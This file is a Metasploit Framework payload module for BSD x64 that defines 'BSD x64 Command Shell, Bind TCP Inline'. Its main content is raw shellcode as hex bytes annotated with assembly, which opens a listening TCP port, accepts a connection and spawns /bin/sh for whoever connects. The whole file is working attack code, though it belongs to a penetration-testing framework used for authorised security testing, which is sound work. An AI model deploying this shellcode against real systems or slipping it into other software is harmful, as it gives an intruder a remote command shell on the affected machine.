modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 88
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Command Shell, Bind TCP Inline',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
'References' => [['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_bind_tcp.asm.c']],
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LPORT' => [ 18, 'n' ],
},
'Payload' =>
"\x6a\x61" + # pushq $0x61 #
"\x58" + # pop %rax #
"\x99" + # cltd #
"\x6a\x02" + # pushq $0x2 #
"\x5f" + # pop %rdi #
"\x6a\x01" + # pushq $0x1 #
"\x5e" + # pop %rsi #
"\x0f\x05" + # syscall #
"\x48\x97" + # xchg %rax,%rdi #
"\x52" + # push %rdx #
"\xba\x00\x02\x11\x5C" + # mov edx,0x5c110200 #
"\x52" + # push %rdx #
"\x48\x89\xe6" + # mov %rsp,%rsi #
"\x6a\x10" + # pushq $0x10 #
"\x5a" + # pop %rdx #
"\x04\x66" + # add $0x66,%al #
"\x0f\x05" + # syscall #
"\x48\x31\xf6" + # xor %rsi,%rsi #
"\x6a\x6a" + # pushq $0x6a #
"\x58" + # pop %rax #
"\x0f\x05" + # syscall #
"\x99" + # cltd #
"\x04\x1e" + # add $0x1e,%al #
"\x0f\x05" + # syscall #
"\x48\x89\xc7" + # mov %rax,%rdi #
"\x6a\x5a" + # pushq $0x5a #
"\x58" + # pop %rax #
"\x0f\x05" + # syscall #
"\xff\xc6" + # inc %esi #
"\x04\x5a" + # add $0x5a,%al #
"\x0f\x05" + # syscall #
"\xff\xc6" + # inc %esi #
"\x04\x59" + # add $0x59,%al #
"\x0f\x05" + # syscall #
"\x52" + # push %rdx #
"\x48\xbf\x2f\x2f" + # mov "//" #
"\x62\x69\x6e\x2f" + # "bin/sh" #
"\x73\x68" + # mov $0x68732f6e69622f2f,%rdi #
"\x57" + # push %rdi #
"\x48\x89\xe7" + # mov %rsp,%rdi #
"\x52" + # push %rdx #
"\x57" + # push %rdi #
"\x48\x89\xe6" + # mov %rsp,%rsi #
"\x04\x39" + # add $0x39,%al #
"\x0f\x05" # syscall #
}
))
end
end